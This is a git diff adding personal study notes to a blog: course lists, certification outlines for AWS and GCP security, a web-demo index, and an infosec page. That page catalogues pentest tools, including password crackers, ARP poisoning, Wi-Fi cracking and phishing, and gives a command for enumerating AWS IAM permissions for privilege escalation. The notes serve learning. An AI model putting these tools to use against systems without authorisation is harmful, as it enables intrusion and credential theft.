Dialogflow](https://www.coursera.org/learn/conversational-experiences-dialogflow?edocomorp=cloud-technology-free-courses&ranMID=40328&ranEAID=SAyYsTvLiGQ&ranSiteID=SAyYsTvLiGQ-_zONXfDZpaK7j3tNekCZSg&siteID=SAyYsTvLiGQ-_zONXfDZpaK7j3tNekCZSg&utm_content=10&utm_medium=partners&utm_source=linkshare&utm_campaign=SAyYsTvLiGQ) | + +some website: + +| name | Note | +| ------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------- | +| [cybrary.it](https://www.cybrary.it/catalog/career-path/cyber-security-engineer/syllabus/) | pic | + +![Screen Shot 2020-05-27 at 22.27.13](https://i.imgur.com/4eHR24I.png) + +## website + +- https://www.anquanke.com/ 安全客 + +--- + +``` +IDS/IPS | +DDOS | +Cloud Security / architectures | +Open source development | +Roles and Responsibilities | +Incident response | +Engineering | +Tuning | +cloud security access broker | +DDOS protections | +understanding of Network Technologies Routers, switches, Load Balancers, firewalls, proxy | +understanding of TCPIP protocols | +System admin - RedHat, Windows, Linux | +Experience with PKI, SSL, SSH, HHTPS etc | +Knowledge of RESTful web services (client ndash server application) | +programming languages | +open-source software security sensors ( Bro IDS, Suricata, Snort, Molach etc) | +network protocols and deep packet inspection | +micro services, kubernetes, docker etc | +Public Cloud such as AWS , Azure and GCP | +Automation skills, Dev Ops skills etc | +Google IT Support Professional Certificate | +Security Operations +Azure Monitor +Azure Log Analytics +Diagnostic logging & log retention +Vulnerability scanning and policies +Azure Sentinel +Azure Security Center +Microsoft Cloud App Security +Platform Protection +Azure Networking +Virtual networks +Application Gateways +Traffic Manager +Network Security Groups +VPN +Peering +Azure Firewall +Force tunneling +Azure DDoS protection +Host Security +VM Hardening +Azure Update Management +Serverless Computing (Kubernetes) +Subscription Security +Azure source locks +Subscription policies +Resource policies +Secure Data & Applications +Protect data at Rest (Azure disk encryption) +Azure Information Protection +Protect Data in transit (Azure VPN gateway, SSL/TLS and HTTPS) +SQL Database (Discovery, classification, labeling, immutable storage, data retention, legal holds, and data sovereignty +SQL Database firewall +SQL Database authentication +Cosmos DB authentication +Azure HDInsight DB authentication +Azure AD authentication for SQL DB +Database auditing policy +SQL DB threat detection +Access control for storage accounts +Key management for storage accounts + + +EDX +[Fundamentals of Red Hat Enterprise Linux](https://www.edx.org/course/fundamentals-of-red-hat-enterprise-linux?source=aw&awc=6798_1586549110_7f9f3833ce868c1ee5d3f8fa16b11929&utm_source=aw&utm_medium=affiliate_partner&utm_content=text-link&utm_term=673201_Geekflare+LTD) + + +[Linux Tutorials and Projects](https://www.udemy.com/course/linux-tutorials/?ranMID=39197&ranEAID=jf7w44yEft4&ranSiteID=jf7w44yEft4-DILLs8xLspMoGCuVjAmPsw&LSNPUBID=jf7w44yEft4) + +[Linux Foundation Certified SysAdmin (LFCS)](https://linuxacademy.com/course/linux-foundation-certified-system-administrator-v3-18/) + + +book: + +Mastering Linux Security and Hardening: Secure your Linux server and protect it from intruders, malware attacks, and other external threats + +--- + +Coursera +Cloud Engineering with Google Cloud +Data Engineering with Google Cloud + +Qwiklabs +video triaining - cloud + + +autospy +Oracle +[packt](https://courses.packtpub.com/pages/redeem) +[Pluralsight](https://app.pluralsight.com/library/) +[udacity]() + +![Screen Shot 2020-04-10 at 22.20.26](https://i.imgur.com/4iYzRGJ.png) +https://www.classcentral.com/report/cs-online-courses/#cybersec +https://www.classcentral.com/report/cs-online-courses/ + + + + +Real-Time Cyber Threat Detection and Mitigation +Number Theory and Cryptography +Blockchain and Cryptoccurency Explained +Enterprise and Infrastructure Security +Introduction to Cyber Attacks +Cyber Attack Countermeasures +Cryptography I +Cryptography 2 +Machine Learning +Build Your First Android App (Project-Centered Course) +面向对象技术高级课程(The Advanced Object-Oriented Technology) +Programming Mobile Applications for Android Handheld Systems: Part 1 +Building Conversational Experiences with Dialogflow +Machine Learning for Business Professionals +Cloud Computing Basics (Cloud 101) +Developing AI Applications on Azure +Getting Started with AWS Machine Learning +AWS Computer Vision: Getting Started with GluonCV +Introduction to Cloud Identity +Google Cloud Platform Fundamentals for AWS Professionals +Industrial IoT on Google Cloud Platform +Python Data Structures +Windows Server Management and Security +Linux Server Management and Security +Palo Alto Networks Academy Cybersecurity Foundation +In Progress +``` + +. diff --git a/_posts/00LearningPath/2017-01-01-InfoSecREADME.md b/_posts/00LearningPath/2017-01-01-InfoSecREADME.md new file mode 100644 index 00000000000..6ab72c257a6 --- /dev/null +++ b/_posts/00LearningPath/2017-01-01-InfoSecREADME.md @@ -0,0 +1,209 @@ +--- +title: InfoSec - Note +date: 2017-01-01 11:11:11 -0400 +categories: [00LearningPath] +tags: [OnePage] +toc: true +pin: true +--- + +# InfoSec - Note + +``` +can't reiterate this enough: Do not go looking for vulnerable servers and exploits on systems you don't own without the proper approval. + + __∧_∧__ ~~~~~ + /(*´O`)/\ +/| ̄∪∪ ̄|\/ + |__ _|/ + +por favor, no lo usar para hacer algo malo + +just learning note, please don't use it to do something wrong + +kali用得好,监狱进得早,与君共勉 + +``` + +--- + +# AWS Test + + +| Script | Use | +| ------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 🐰 **IAM** | +| [enumerate-iam.py](https://github.com/andresriancho/enumerate-iam) | quickly verify the role permissions.
    `python enumerate-iam.py --access-key --secret-key ` pic | +| [aws_escalate.py](https://github.com/andresriancho/enumerate-iam) | enumerates all the policies of an IAM identity for permissions that can potentially lead to privilege escalation.
    `python aws_escalate.py` pic | + + + +--- + +# Test +- Common Vulnerabilities and Exposures (CVE®) + + +| GoodWeb | Note | +| ----------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **testing** | Note | +| [CSIS Significant Cyber Incidents](https://www.csis.org/programs/technology-policy-program/significant-cyber-incidents) | summary of incidents from over the last year. | +| [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/IndexASVS.html) | . | +| [OWASP Cheat Sheet Series2](https://cheatsheetseries.owasp.org/IndexProactiveControls.html) | . | +| [tutorialspoint-infosec](https://www.tutorialspoint.com/security_testing/testing_cross_site_scripting.htm) | . | +| [Youtube-University of Nottingham](https://www.youtube.com/watch?v=1S0aBV-Waeo&ab_channel=Computerphile) | . | +| [securityintelligence 2020 data breach report](https://securityintelligence.com/) | . | +| [Web Application Vulnerabilities Index](https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/) | . | +| [Vulnerabilities search] | [with expolit](https://securitytracker.com/search/search.html), [2](https://www.securityfocus.com/bid/17408), [IBM X-Force](https://exchange.xforce.ibmcloud.com/vulnerabilities/25698) | +| **web knowledge** | Note | +| [HTTP tutorial](https://www.tutorialspoint.com/http/http_caching.htm) | . | + + + +--- + + + +## Pentest tools + +| Attack | Tool | +| ----------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| --------- | ------------------------------ | +| 🐰 **Code Security tools** | +| Kluwan
    `Code Security/Analysis` | pic | +| spiderfoot | +| --------- | ------------------------------ | +| 🐰 **Pen test tools** | +| Kali Linux | Linux | +| Metasploit
    `Building anti-forensic and evasion tools` | - knowing about security vulnerabilities.
    - Helps in penetration testing, IDS signature development.
    - You can create security testing tools.
    pic | +| --------- | ------------------------------ | +| 🐰 **Digital Forensic Tools** | +| Sleuth Kit (+Autopsy) | +| --------- | ------------------------------ | +| 🐰 **malware** | Layer 7 | +| PEiD
    `malware packaging` | pic | +| IDA Freeware
    `malware` | pic | +| Pe Explorer
    `malware` | pic | +| --------- | ------------------------------ | +| 🐰 **Application Link** | Layer 7 | +| sslstrip
    `capturing HTTPS traffic` | pic | +| Nmap
    `network mapper` ![Nmap_Logo](https://i.imgur.com/7b3NKgE.png) | - scan networks and IT systems to identify existing security vulnerabilities.
    - **Nmap suite has**:
    - Data transfer, redirection, and debugging tool(Ncat),
    - Scan results comparing utility(Ndiff),
    - Packet generation and response analysis tool (Nping),
    - GUI and Results viewer (Nping)
    - **Using raw IP packets it can determine**:
    - The available hosts, services offered, OS, Packet filters using...
    pic | +| Nikto
    `Scan web server vulnerabilities` | - It can check web servers for over 6700 potentially dangerous files.
    -It has full HTTP proxy support.
    -Using Headers, favicons, and files, it can identify the installed software.
    -It can scan the server for outdated server components.
    - contains a database with more than 6400 different types of threats.
    pic | +| Acunetix `web application vulnerabilities` | pic | +| Nexpose
    `scanning and managing vulnerabilities` | +| Paros Proxy
    `web vulnerabilities` | - Some of the tools contained in the Paros Proxy utility include vulnerability scanners, a web spider, and traffic recorder for retaining network activities in real-time.
    Paros Proxy is useful in identifying intrusion openings in a network, detects common cybersecurity threats such as XSS and SQLi. | +| Burp Suite
    `MITM/XSS web vulnerabilities/web vulnerability scanner` | pic | +| Owasp ZAP
    `XSS web vulnerabilities` | pic | +| DOMinator Tool, DOM Snitch
    `DOM Based XSS` | +| Nessus
    `vulnerability scanner` | +| OpenVAS
    `vulnerability scanning & management` | pic | +| Intruder
    `Finding vulnerabilities` | pic | +| Netsparker
    `identified vulnerabilities` | pic | +| --------- | ------------------------------ | +| tools | **Encryption cybersecurity tools** | +| TrueCrypt | +| KeyPass | +| Tor | +| --------- | ------------------------------ | +| 🐰 **Network Link** | Layer 7 | +| PackETH
    `capturing network packet` | pic | +| Netstumbler
    `identify open ports` | - designed for Win | +| Aircrack-Ng
    `Wireless sniffer & injector` | - focus on Replay attacks, de-authentication, fake access points, and others.
    - It supports exporting data to text files.
    - It can check Wi-Fi cards and driver capabilities.
    - It can crack WEP keys and for that, it makes use of FMS attack, PTW attack, and dictionary attacks.
    - It can crack WPA2-PSK and for that, it makes use of dictionary attacks.
    pic | +| KisMAC
    `wireless network security in the MAC` | +| wireshark
    `Sniffing` | pic | +| Tcpdump
    `sniffing data packets` | - monitor log TCP and IP traffic communicated through a network | +| --------- | ------------------------------ | +| tools | **monitoring network security** | +| Splunk | +| PaloAlto | +| POf | +| Argus `analyzing network traffics OpenS` | +| Nagios | +| OSSEC `real-time analyz security events of a system OpenS` | +| --------- | ------------------------------ | +| tools | **detecting network intrusions** | +| Snort `analysis on network traffic` | +| Acunetix | +| Forcepoint | +| GFI LanGuard `monitor networks, scan for vulnerabilities` | +| --------- | ------------------------------ | +| 🐰 **Data Link** | Layer 2 | +| arpspoof
    `ARP poisoning` | pic | +| Ettercap
    `ARP poisoning` ![Ettercap](https://i.imgur.com/bVAdWxn.png) | - Sniffing of live connections.
    - Content filtering.
    - Active and passive dissection of many protocols.
    - Network and host analysis.
    pic | +| Etherflood
    `Sniffing` | +| AntiARP, ARPon, ArpStar
    `detect ARP poisoning` | +| XARP
    `detect ARP poisoning` | pic | +| dsniff
    `Sniffing` | +| Countermeasure | detect: Antisniff, ArpWatch, Switch Network switch Port Security features | +| --------- | ------------------------------ | +| 🐰 | **Reconnaissance** step 1 information gethering | +| visualping
    `passive` | pic | +| HTTrack
    `website mirroring` | pic | +| TheHarvester
    `email foot-printing` | pic | +| Maltego
    `link analysis and data mining` | - provide graphical picture about the weak points and abnormalities of the network.
    pic | +| Recon-ng
    `foot-printing` | pic | +| OSRFramework
    `foot-printing` | pic | +| Shodan
    `hacker search engine` | - collects all information about all devices that are directly connected to the internet with the specified keywords that you enter.
    pic | +| httprint
    `web info gethering` | pic | +| whatweb
    `Fingerprint web Framework` | pic | +| BlindElephant, Wappalyzer
    `Fingerprint web Framework` | +| HUNCHLY
    `website record` | pic | +| Gophish
    `phishing` | - opensource phishing platform | +| Angry IP Scanner
    `Scanning` | - scanning the IP addresses and ports. It can scan both on local network and Internet.
    pic | +| Sublist3r
    `enumerate subdomains` | pic | +| --------- | ------------------------------ | +| tools | **Password auditing and packet sniffers cybersecurity tools** | +| John The Ripper
    `PaswdCrack` | pic | +| Cain and Abel
    `PaswdCrack / ARP poisoning` | pic | +| Gobuster
    `brute-force tools` | +| BruteX
    `brute-force tools` | +| Dirsearch
    `web path scanner and can brute force directories and files in webservers` | +| Callow
    `login brute-force tool` | +| Secure Shell Bruteforcer (SSB)
    `brute-force SSH servers` | +| Thc-Hydra
    `login cracking` | +| Patator
    `brute-force tool with diverse modular` | +| Pydictor
    `dictionary hacking powerful tool` | +| Ncrack
    `test their networking devices for weak passwords` | +| Hashcat
    `password recovery tool` | + + + + +--- + +| Lab | Note | +| ------------------------------------------------------------------------------------------------------------------------------------------------------ | ---- | +| [Internet Security](https://site.iugaza.edu.ps/mammar/internet-security/)
    - [Attacklab](https://site.iugaza.edu.ps/nour/fall-2012/security-disc/) | +| [SEEDLab](https://seedsecuritylabs.org/lab_env.html) | +| - [Cross-Site Scripting Attack Lab](https://www.cis.syr.edu/~wedu/seed/Labs_12.04/Web/Web_XSS_Elgg/Web_XSS_Elgg.pdf) | ✔️ | +| [InfosecLab](https://67327.cmuis.net/labs) | +| [pentest](https://www.pentesterlab.com/exercises) | + +--- + +| XiongHaizimen | Note | +| --------------------------------------------------------------------------------------------------- | -------------------------------------------------- | +| [Tanishq](https://tanishq.page/index.html) | cool website and lab! | +| [coolguy](https://jhalon.github.io/over-the-wire-natas1/) | great solution | +| [infosecblog](https://www.boiteaklou.fr/archive/) | cool | +| [secblog](https://www.aldeid.com/w/index.php?search=TryHackMe&title=Special%3ASearch&go=Go) | solution | +| [Kali渗透测试 大学霸](https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/27.html) | learn kali | +| [Gaurav Sen](https://www.youtube.com/watch?v=_YlYuNMTCc8&t=5s&ab_channel=GauravSen) | youtuber | +| [youtube](https://www.youtube.com/channel/UCRPMAqdtSgd0Ipeef7iFsKw) | not yet | +| [youtube](https://www.youtube.com/watch?v=fScttW55D_U) | Boston SDE girl | +| [youtube](https://www.youtube.com/channel/UCZLJf_R2sWyUtXSKiKlyvAw) | DS Pro, clear and step by step | +| [CTFblog](https://philkeeble.com/cloud/Flaws.Cloud-Walkthrough/) | Cloud CTF blog Professional Red Teamer / Pentester | +| [CTFblog](https://medium.com/@itsc0rg1) | Security Engineer | +| [crf](https://rhinosecuritylabs.com/cloud-security/cloudgoat-aws-scenario-ec2_ssrf/) | cloud ctf | + +--- + +| vulnerability | Note | +| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- | +| [CVE-2005-2453 - Web Server Generic XSS] | [1](https://nvd.nist.gov/vuln/detail/CVE-2005-2453#VulnChangeHistorySection), [2](https://securitytracker.com/id?1014624) | + + + + + +. diff --git a/_posts/00LearningPath/2017-01-01-WebREADME.md b/_posts/00LearningPath/2017-01-01-WebREADME.md new file mode 100644 index 00000000000..3eb47813bc2 --- /dev/null +++ b/_posts/00LearningPath/2017-01-01-WebREADME.md @@ -0,0 +1,118 @@ +--- +title: Web - demo & Learning Path +date: 2017-01-01 11:11:11 -0400 +categories: [00LearningPath] +tags: [OnePage, LearningPath] +toc: true +--- + + +# Web - demo & Learning Path + +``` + __∧_∧__ ~~~~~ + /(*´O`)/\ +/| ̄∪∪ ̄|\/ + |__ _|/ +``` + +--- + +## JavaScript demo + +Path: `https://github.com/ocholuo/language/tree/master/0.project/webdemo/` + +| lab | pic | +| :--------------------------------------------------------------------------------------------------- | :--- | +[DLTP-MiniProject](https://github.com/ocholuo/language/tree/master/0.project/jsdemo/1.0-DLTP-MiniProject) - 200831 | ✔️ +- Change every pixel
    pic pic
    pic pic | . +[DLTP-GreenScreenWeb](https://github.com/ocholuo/language/tree/master/0.project/jsdemo/1.0-DLTP-GreenScreenWeb) - 200830 | ✔️ +- Exchange every pixel
    pic | . +[DLTP-Practise](https://github.com/ocholuo/language/tree/master/0.project/jsdemo/1.0-DLTP-Practise) - 200830 | ✔️ +[DLTP-Steganography](https://github.com/ocholuo/language/tree/master/0.project/jsdemo/1.0-DLTP-Steganography) - 200830 | ✔️ +- for base image, only take first 4 digit
    - `pixel.setRed`(clearbitsforbasepixel(`pixel.getRed()`))
    - `return var clearnum = Math.floor(colornum/16)*16`
    - for hide image, only take first 4 digit
    - `pixel.setRed`(clearbitsforhidepixel(`pixel.getRed()`))
    - `return var clearnum = Math.floor(colornum/16)`
    - then combine(baseimg, hideimg)
    - `pixel.setBlue(bp.getBlue() + hp.getBlue())`
    pic | . + +--- + +## Web demo + +Path: `https://github.com/ocholuo/language/tree/master/0.project/webdemo/` + +| lab | pic | +| :--------------------------------------------------------------------------------------------------- | :--- | +[my website](https://github.com/ocholuo/language/tree/master/0.project/webdemo/0.0mywebsite)| ✔️ | +pic | +[css cheat sheet](https://github.com/ocholuo/language/tree/master/0.project/webdemo/0.0csscheatsheet)| ✔️ | +pic | +[Number Guess Game](https://github.com/ocholuo/language/tree/master/0.project/webdemo/0.0NumberGuessGame) | ✔️ | +pic | +[Silly Story Generator](https://github.com/ocholuo/language/tree/master/0.project/webdemo/0.0SillyStoryGenerator)| ✔️ | +pic | +[Add User](https://github.com/ocholuo/language/tree/master/0.project/webdemo/0.0AddUser)| ✔️ | +pic | +[Canvas Ball](https://github.com/ocholuo/language/tree/master/0.project/webdemo/0.0CanvasBall)| ✔️ | +pic | + +--- + + + + +[Traversy Media](https://www.youtube.com/watch?v=iYM2zFP3Zn0&list=PLillGF-RfqbYeckUaD1z6nviTp31GLTH8&index=16) recommand!!!!! + +[Web technology for developers](https://developer.mozilla.org/en-US/docs/Web) +- Web technologies + - Basics + - HTML + - CSS + - Scripting + - JavaScript + - For complete beginners = 030[JavaScript — Dynamic client-side scripting] + - Intermediate + - Advanced + - Web APIs + - Graphics + - SVG Scalable Vector Graphics + - WebGL brings 3D graphics to the Web + - Other + - MathML +- Documentation by type + - Web Developer Guide + - Tutorials for Web developers +- Other topics + - Developing Web applications + - Accessibility + - Security +- HTTP + - ✔️ HTTP cookie + + + +[Learn web development](https://developer.mozilla.org/en-US/docs/Learn) +- 000Getting started with the web +- HTML — Structuring the web +- CSS — Styling the web +- 030[JavaScript — Dynamic client-side scripting](https://developer.mozilla.org/en-US/docs/Learn/JavaScript) + - ✔️ JavaScript First Steps + - ✔️ [JavaScript building blocks](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks) + - ✔️ 033[Introducing JavaScript objects] + - Asynchronous JavaScript + - 035[Client-side web APIs](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs) + - Introduction to web APIs + - Manipulating documents + - Fetching data from the server + - Third party APIs + - Drawing graphics + - Video and audio APIs + - Client-side storage +- Web forms — Working with user data + + + + + + + + + +. diff --git a/_posts/00LearningPath/CER:AWS Certified Security.md b/_posts/00LearningPath/CER:AWS Certified Security.md new file mode 100644 index 00000000000..1aae865de7a --- /dev/null +++ b/_posts/00LearningPath/CER:AWS Certified Security.md @@ -0,0 +1,275 @@ + +- [SCS-C01 AWS Certified Security](#scs-c01-aws-certified-security) + - [Introduction](#introduction) + - [Exam content](#exam-content) + - [Content outline](#content-outline) + - [Official Practice Question Set](#official-practice-question-set) + + +# SCS-C01 AWS Certified Security + +## Introduction +The AWS Certified Security – Specialty (SCS-C01) exam is intended for individuals who perform a security role. + +The exam validates a candidate’s ability to effectively demonstrate knowledge about securing the AWS platform. + +The exam validates whether a candidate has the following: +- An understanding of specialized data classifications and `AWS data protection mechanisms` +- An understanding of `data-encryption methods` and AWS mechanisms to implement them +- An understanding of `secure internet protocols` and AWS mechanisms to implement them +- A working knowledge of AWS security services and features of services to provide a secure production environment +- Competency from 2 or more years of production deployment experience in using AWS security +services and features +- The ability to make tradeoff decisions with regard to `cost, security, and deployment complexity` to meet a set of application requirements +- An understanding of `security operations and risks` + + +Target candidate description +The target candidate should have 5 years of IT security experience in designing and implementing security solutions. Additionally, the target candidate should have 2 or more years of hands-on experience in securing AWS workloads. + +Recommended AWS knowledge +The target candidate should have the following knowledge: +- The AWS shared responsibility model and its application +- Security controls for workloads on AWS +- Logging and monitoring strategies +- Cloud security threat models +- Patch management and security automation +- Ways to enhance AWS security services with third-party tools and services +- Disaster recovery controls, including BCP and backups +- Encryption +- Access control +- Data retention + +What is considered out of scope for the target candidate? +The following is a non-exhaustive list of related job tasks that the target candidate is not expected to be able to perform. These items are considered out of scope for the exam: +- Create or write configurations +- Implement (SysOps) +- Demonstrate scripting in a specific language (for example, Perl or Java) + +For a detailed list of specific tools and technologies that might be covered on the exam, as well as lists of in-scope and out-of-scope AWS services, refer to the Appendix. + + +## Exam content + +**Response types** +There are two types of questions on the exam: +- Multiple choice: Has one correct response and three incorrect responses (distractors) +- Multiple response: Has two or more correct responses out of five or more response options + +Select one or more responses that best complete the statement or answer the question. Distractors, or incorrect answers, are response options that a candidate with incomplete knowledge or skill might choose. Distractors are generally plausible responses that match the content area. + +Unanswered questions are scored as incorrect; there is no penalty for guessing. The exam includes 50 questions that will affect your score. + +**Unscored content** +The exam includes 15 unscored questions that do not affect your score. AWS collects information about candidate performance on these unscored questions to evaluate these questions for future use as scored questions. These unscored questions are not identified on the exam. + +**Exam results** +The AWS Certified Security – Specialty (SCS-C01) exam is a pass or fail exam. The exam is scored against a minimum standard established by AWS professionals who follow certification industry best practices and guidelines. +Your results for the exam are reported as a scaled score of 100–1,000. The minimum passing score is 750. Your score shows how you performed on the exam as a whole and whether or not you passed. Scaled scoring models help equate scores across multiple exam forms that might have slightly different difficulty levels. +Your score report could contain a table of classifications of your performance at each section level. This information is intended to provide general feedback about your exam performance. The exam uses a compensatory scoring model, which means that you do not need to achieve a passing score in each section. You need to pass only the overall exam. +Each section of the exam has a specific weighting, so some sections have more questions than other sections have. The table contains general information that highlights your strengths and weaknesses. Use caution when interpreting section-level feedback. +Version 2.0 SCS-C01 2 | PAGE + + +## Content outline +This exam guide includes weightings, test domains, and objectives for the exam. It is not a comprehensive listing of the content on the exam. However, additional context for each of the objectives is available to help guide your preparation for the exam. The following table lists the main content domains and their weightings. The table precedes the complete exam content outline, which includes the additional context. The percentage in each domain represents only scored content. + +Domain 1: Incident Response 12% +Domain 2: Logging and Monitoring 20% +Domain 3: Infrastructure Security 26% +Domain 4: Identity and Access Management 20% +Domain 5: Data Protection 22% +TOTAL 100% + +--- + +Domain 1: Incident Response + +1.1 Given an AWS abuse notice, evaluate the suspected compromised instance or exposed access keys . +- Given an AWS Abuse report about an EC2 instance, securely isolate the instance as part of a +forensic investigation. +- Analyze logs relevant to a reported instance to verify a breach, and collect relevant data. +- Capture a memory dump from a suspected instance for later deep analysis or for legal compliance reasons. + +1.2 Verify that the Incident Response plan includes relevant AWS services. +- Determine if changes to baseline security configuration have been made. +- Determine if list omits services, processes, or procedures which facilitate Incident Response. +- Recommend services, processes, procedures to remediate gaps. + +1.3 Evaluate the configuration of automated alerting, and execute possible remediation of security-related incidents and emerging issues. +- Automate evaluation of conformance with rules for new/changed/removed resources. +- Apply rule-based alerts for common infrastructure misconfigurations. +- Review previous security incidents and recommend improvements to existing systems. + +--- + +Domain 2: Logging and Monitoring + +2.1 Design and implement security monitoring and alerting. +- Analyze architecture and identify monitoring requirements and sources for monitoring statistics. +- Analyze architecture to determine which AWS services can be used to automate monitoring and alerting. +- Analyze the requirements for custom application monitoring , and determine how this could be achieved. +- Set up to perform regular audits. + +2.2 Troubleshoot security monitoring and alerting. +- Given an occurrence of a known event without the expected alerting, analyze the service functionality and configuration and remediate. +- Given an occurrence of a known event without the expected alerting, analyze the permissions and remediate. +- Given a custom application which is not reporting its statistics, analyze the configuration and remediate. +- Review audit trails of system and user activity. + +2.3 Design and implement a logging solution. +- Analyze architecture and identify logging requirements and sources for log ingestion. +- Analyze requirements and implement durable and secure log storage according to AWS best +practices. +- Analyze architecture to determine which AWS services can be used to . + +2.4 Troubleshoot logging solutions. +- Given the absence of logs, determine the incorrect configuration and define remediation steps. +- Analyze logging access permissions to determine incorrect configuration and define remediation steps. +- Based on the security policy requirements, determine the correct log level, type, and sources. + +--- + +Domain 3: Infrastructure Security + +3.1 Design edge security on AWS. +- For a given workload, assess and limit the attack surface. +- Reduce blast radius (e.g. by distributing applications across accounts and regions). +- Choose appropriate AWS and/or third-party edge services such as WAF, CloudFront and Route 53 to protect against DDoS or filter application-level attacks. +- Given a set of edge protection requirements for an application, evaluate the mechanisms to prevent and detect intrusions for compliance and recommend required changes. +- Test WAF rules to ensure they block malicious traffic. + + +3.2 Design and implement a secure network infrastructure . +- Disable any unnecessary network ports and protocols. +- Given a set of edge protection requirements, evaluate the security groups and NACLs of an application for compliance and recommend required changes. +- Given security requirements, decide on network segmentation (e.g. security groups and NACLs) that allow the minimum ingress/egress access required. +- Determine the use case for VPN or Direct Connect. +- Determine the use case for enabling VPC Flow Logs. +- Given a description of the network infrastructure for a VPC, analyze the use of subnets and gateways for secure operation. + +3.3 Troubleshoot a secure network infrastructure. +- Determine where network traffic flow is being denied. +- Given a configuration, confirm security groups and NACLs have been implemented correctly. + + +3.4 Design and implement host-based security . +- Given security requirements, install and configure host-based protections including Inspector, SSM. +- Decide when to use host-based firewall like iptables. +- Recommend methods for host hardening and monitoring. + + +--- + +Domain 4: Identity and Access Management + +4.1 Design and implement a scalable authorization and authentication sys. em to access AWS resources. +- Given a description of a workload, analyze the access control configuration for AWS services and make recommendations that reduce risk. +- Given a description how an organization manages their AWS accounts, verify security of their root user. +- Given your organization’s compliance requirements, determine when to apply user policies and resource policies. +- Within an organization’s policy, determine when to federate a directory services to IAM. +- Design a scalable authorization model that includes users, groups, roles, and policies. +- Identify and restrict individual users of data and AWS resources. +- Review policies to establish that users/systems are restricted from performing functions beyond their responsibility, and also enforce proper separation of duties. + +4.2 Troubleshoot an authorization and authentication system to access AWS resources. +- Investigate a user’s inability to access S3 bucket contents. +- Investigate a user’s inability to switch roles to a different account. +- Investigate an Amazon EC2 instance’s inability to access a given AWS resource. + +--- + +Domain 5: Data Protection + +5.1 Design and implement key management and use. +- Analyze a given scenario to determine an appropriate key management solution. +- Given a set of data protection requirements, evaluate key usage and recommend required changes. +- Determine and control the blast radius of a key compromise event and design a solution to contain the same. + +5.2 Troubleshoot key management. +- Break down the difference between a KMS key grant and IAM policy. +- Deduce the precedence given different conflicting policies for a given key. +- Determine when and how to revoke permissions for a user or service in the event of a compromise. + +5.3 Design and implement a data encryption solution for data at rest and data in transit. +- Given a set of data protection requirements, evaluate the security of the data at rest in a workload and recommend required changes. +- Verify policy on a key such that it can only be used by specific AWS services. +- Distinguish the compliance state of data through tag-based data classifications and automate remediation. +- Evaluate a number of transport encryption techniques and select the appropriate method (i.e. TLS, IPsec, client-side KMS encryption). + +Appendix +Which key tools, technologies, and concepts might be covered on the exam? +The following is a non-exhaustive list of the tools and technologies that could appear on the exam. This list is subject to change and is provided to help you understand the general scope of services, features, or technologies on the exam. The general tools and technologies in this list appear in no particular order. AWS services are grouped according to their primary functions. While some of these technologies will likely be covered more than others on the exam, the order and placement of them in this list is no indication of relative weight or importance: +- AWS CLI +- AWS SDK +- AWS Management Console +- Network analysis tools (packet capture and flow captures) +- SSH/RDP +- Signature Version 4 +- TLS +- Certificate management +- Infrastructure as code (IaC) + +AWS services and features +Note: Security affects all AWS services. Many services do not appear in this list because the overall service is out of scope, but the security aspects of the service are in scope. For example, a candidate for this exam would not be asked about the steps to set up replication for an S3 bucket, but the candidate might be asked about configuring an S3 bucket policy. +Management and Governance: +- AWS Audit Manager +- AWS CloudTrail +- Amazon CloudWatch +- AWS Config +- AWS Organizations +- AWS Systems Manager +- AWS Trusted Advisor +Networking and Content Delivery: +- Amazon Detective +- AWS Firewall Manager +- AWS Network Firewall +- AWS Security Hub +- AWS Shield +- Amazon VPC + - VPC endpoints + - Network ACLs + - Security groups +- AWS WAF + Security, Identity, and Compliance: +- AWS Certificate Manager (ACM) +- AWS CloudHSM +- AWS Directory Service +- Amazon GuardDuty +- AWS Identity and Access Management (IAM) +- Amazon Inspector +- AWS Key Management Service (AWS KMS) +- Amazon Macie +- AWS Single Sign-On + +Out-of-scope AWS services and features +The following is a non-exhaustive list of AWS services and features that are not covered on the exam. These services and features do not represent every AWS offering that is excluded from the exam content. Services or features that are entirely unrelated to the target job roles for the exam are excluded from this list because they are assumed to be irrelevant. +Out-of-scope AWS services and features include the following: +- Application development services +- IoT services +- Machine learning (ML) services +- Media services +- Migration and transfer services + + +## Official Practice Question Set + +1. [link](https://explore.skillbuilder.aws/learn/course/external/view/elearning/12473/aws-certified-security-specialty-official-practice-question-set-scs-c01-english) + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00LearningPath/CER:GCPProfessional Cloud Security Engineer.md b/_posts/00LearningPath/CER:GCPProfessional Cloud Security Engineer.md new file mode 100644 index 00000000000..68ebe99c79c --- /dev/null +++ b/_posts/00LearningPath/CER:GCPProfessional Cloud Security Engineer.md @@ -0,0 +1,437 @@ + +- [Professional Cloud Security Engineer](#professional-cloud-security-engineer) + - [Learning Objectives](#learning-objectives) + - [Concept](#concept) + - [identity and access management](#identity-and-access-management) + - [Boundary Security](#boundary-security) + - [Data Protection](#data-protection) + - [Question](#question) + - [IAM](#iam) + - [Network](#network) + - [Data Protection](#data-protection-1) + + +# Professional Cloud Security Engineer + +link: +- https://www.coursera.org/learn/preparing-for-your-professional-cloud-security-engineer-journey/home/week/1 + +--- + +## Learning Objectives +- Understand the role of a Professional Cloud Security Engineer + - enables organizations to `design and implement secure workloads and infrastructure` on Google Cloud. + - understanding of `security best practices and industry security requirements, individual designs, develops, and manages a secure solution` by leveraging Google Cloud security technologies. The +- Learn about the sample scenario used throughout the course. +- Understand the benefits of becoming Google Cloud Certified. +- Understand the course structure and types of learning assessments. + +--- + +## Concept + + +### identity and access management + + +Planning Cymbal Bank’s cloud identity and access management + +![Screenshot 2023-06-25 at 23.44.37](/assets/img/Screenshot%202023-06-25%20at%2023.44.37.png) + +![Screenshot 2023-06-25 at 